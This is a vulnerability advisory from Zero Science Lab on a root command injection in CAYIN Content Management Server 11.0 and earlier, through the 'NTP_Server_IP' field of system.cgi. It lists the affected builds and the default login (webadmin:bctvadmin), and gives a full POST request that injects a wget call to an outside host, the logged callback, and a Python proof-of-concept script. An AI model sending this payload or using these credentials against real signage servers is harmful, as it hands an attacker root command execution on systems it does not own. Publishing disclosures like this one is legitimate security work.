Cayin Content Management Server 11.0 Root Remote Command Injection


Vendor: CAYIN Technology Co., Ltd.
Product web page: https://www.cayintech.com
Affected version: CMS-SE v11.0 Build 19179
                  CMS-SE v11.0 Build 19025
                  CMS-SE v11.0 Build 18325
                  CMS Station (CMS-SE-LXC)
                  CMS-60 v11.0 Build 19025
                  CMS-40 v9.0 Build 14197
                  CMS-40 v9.0 Build 14099
                  CMS-40 v9.0 Build 14093
                  CMS-20 v9.0 Build 14197
                  CMS-20 v9.0 Build 14092
                  CMS v8.2 Build 12199
                  CMS v8.0 Build 11175
                  CMS v7.5 Build 11175

Summary: CAYIN Technology provides Digital Signage
solutions, including media players, servers, and
software designed for the DOOH (Digital Out-of-home)
networks. We develop industrial-grade digital signage
appliances and tailored services so you don't have
to do the hard work.

Desc: CAYIN CMS suffers from an authenticated OS
semi-blind command injection vulnerability using
default credentials. This can be exploited to inject
and execute arbitrary shell commands as the root
user through the 'NTP_Server_IP' HTTP POST parameter
in system.cgi page.

Tested on: Apache/1.3.42 (Unix)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5570
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5570.php


15.05.2020

---


Session created with default credentials (webadmin:bctvadmin).

HTTP POST Request:
-----------------

POST /cgi-bin/system.cgi HTTP/1.1
Host: 192.168.1.3
Content-Length: 201
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Smith
Origin: https://192.168.1.3
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://192.168.1.3/cgi-bin/system.cgi
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cy_lang=ZH_TW; cy_us=67176fd7d3d05812008; cy_en=c8bef8607e54c99059cc6a36da982f9c009; WEB_STR_RC_MGR=RC_MGR_WEB_PLAYLIST; WEB_STR_SYSTEM=SYSTEM_SETTING; cy_cgi_tp=1591206269_15957
Connection: close


save_system: 1
system_date: 2020/5/16    06:36:48
TIMEZONE: 49
NTP_Service: 1
NTP_Server_IP: $(wget -q -U 'MyVoiceIsMyPassportVerifyMe' vrfy.zeroscience.mk)
TEST_NTP: 測試
reboot1: 1
reboot_sel1: 4
reboot_sel2: 1
reboot_sel3: 1
font_list: ZH_TW


Request recorder @ ZSL:
-----------------------

Origin of HTTP request: 192.168.1.3:61347
HTTP GET request to vrfy.zeroscience.mk:

GET / HTTP/1.0
User-Agent: MyVoiceIsMyPassportVerifyMe
Host: vrfy.zeroscience.mk
Accept: */*
Connection: Keep-Alive


PoC script:
-----------

import requests

url = "https://192.168.1.3:80/cgi-bin/system.cgi"

cookies = {"cy_lang": "ZH_TW",
           "cy_us": "67176fd7d3d05812008",
           "cy_en": "c8bef8607e54c99059cc6a36da982f9c009",
           "WEB_STR_RC_MGR": "RC_MGR_WEB_PLAYLIST",
           "WEB_STR_SYSTEM": "SYSTEM_SETTING",
           "cy_cgi_tp": "1591206269_15957"}

headers = {"Cache-Control": "max-age=0",
           "Origin": "https://192.168.1.3",
           "Content-Type": "application/x-www-form-urlencoded",
           "User-Agent": "Smith",
           "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
           "Referer": "https://192.168.1.3/cgi-bin/system.cgi",
           "Accept-Encoding": "gzip, deflate",
           "Accept-Language": "en-US,en;q=0.9",
           "Connection": "close"}

data = {"save_system": "1",
        "system_date": "2020/5/16    06:36:48",
        "TIMEZONE": "49",
        "NTP_Service": "1",
        "NTP_Server_IP": "$(wget -q -U 'MyVoiceIsMyPassportVerifyMe' vrfy.zeroscience.mk)", # `cmd` or &cmd&
        "TEST_NTP": "\xe6\xb8\xac\xe8\xa9\xa6",
        "reboot1": "1",
        "reboot_sel1": "4",
        "reboot_sel2": "1",
        "reboot_sel3": "1",
        "font_list": "ZH_TW"}

requests.post(url, headers=headers, cookies=cookies, data=data)